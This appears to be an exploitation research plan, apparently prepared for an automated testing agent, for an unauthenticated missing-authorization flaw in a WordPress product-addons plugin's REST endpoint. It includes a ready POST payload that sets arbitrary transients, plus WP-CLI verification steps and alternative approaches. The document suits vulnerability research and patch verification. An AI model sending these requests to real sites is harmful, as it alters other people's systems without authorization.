Exploitation Research Plan - CVE-2026-57377

1. Vulnerability Summary

The Product Addons and Product Options With Custom Fields – WowAddons plugin (versions <= 1.6.8) contains a Missing Authorization vulnerability in its REST API implementation. Specifically, the hello_bar endpoint fails to properly restrict access, allowing unauthenticated attackers to invoke the hello_bar_callback function. This function permits the setting of arbitrary transients in the WordPress database, which can be used to dismiss site-wide administrative notices or manipulate plugin state.

2. Attack Vector Analysis

• Endpoint: /wp-json/prad/v1/hello_bar
• HTTP Method: POST
• Vulnerable Function: PRAD\Includes\Admin\Notice::hello_bar_callback
• Parameters:
  • type: Must be exactly hello_bar to pass the conditional check.
  • id: The identifier for the transient to be created/updated (sanitized via sanitize_key).
• Authentication: None (Unauthenticated).
• Preconditions: The plugin must be active.

3. Code Flow

1. Route Registration: In includes/admin/class-notice.php, the register_rest_route method is called during rest_api_init. It registers the prad/v1/hello_bar route.
2. Missing Check: In affected versions (<= 1.6.8), the permission_callback for this route is either missing, returns true, or fails to check for an appropriate capability (like manage_options).
3. Request Handling: An attacker sends a POST request to /wp-json/prad/v1/hello_bar.
4. Callback Execution: The hello_bar_callback method is executed:
   • It retrieves type and id from the request parameters.
   • It checks if type === 'hello_bar'.
   • If true, it calls Xpo::set_transient_without_cache( $id, 'hide', 1296000 );.
5. Data Sink: Xpo::set_transient_without_cache writes a transient to the wp_options table (prefixed with _transient_) with the value hide.

4. Nonce Acquisition Strategy

This vulnerability is located in a REST API endpoint that lacks authorization. By default, WordPress REST API endpoints do not require a nonce for unauthenticated access if the permission_callback is not enforcing one.

Conclusion: No nonce is required for this exploitation.

5. Exploitation Strategy

The goal is to demonstrate that an unauthenticated user can set a transient that suppresses a site-wide notice.

Step-by-Step Plan:

1. Target Identification: Identify a target transient ID used by the plugin. According to get_hellobar_config() in includes/admin/class-notice.php, valid IDs include:
   • prad_helloBar_summer1_flash_sale_2026_1
2. Malicious Request: Send an unauthenticated POST request to the REST API.
3. Trigger: Use the http_request tool to perform the action.

Payload Detail:

• URL: http://<target>/wp-json/prad/v1/hello_bar
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body: type=hello_bar&id=prad_helloBar_summer1_flash_sale_2026_1

6. Test Data Setup

1. Install Plugin: Ensure product-addons version 1.6.8 is installed and active.
2. Verify Baseline: Check that the transient prad_helloBar_summer1_flash_sale_2026_1 does not exist yet.

7. Expected Results

• Response: The server should return a 200 OK status with a JSON body:

  {
      "success": true,
      "message": "Hello Bar Action performed"
  }
  

• Database Change: A new entry will appear in the wp_options table with the key _transient_prad_helloBar_summer1_flash_sale_2026_1 and the value hide.

8. Verification Steps

After sending the HTTP request, verify the transient state via WP-CLI:

# Check if the transient is set to 'hide'
wp transient get prad_helloBar_summer1_flash_sale_2026_1

# Alternatively, check the options table directly
wp option get _transient_prad_helloBar_summer1_flash_sale_2026_1

The output should be hide.

9. Alternative Approaches

If the hello_bar endpoint is patched or behaves differently, check for other routes registered in register_rest_route. The source snippet shows an array-based loop for routes; if other endpoints like set_dismiss_notice were added in the same file without permission_callback, they would also be vulnerable.

Another test is to use an arbitrary id to prove generic transient injection:

• Body: type=hello_bar&id=cve_poc_test_id
• Verification: wp transient get cve_poc_test_id (should return hide).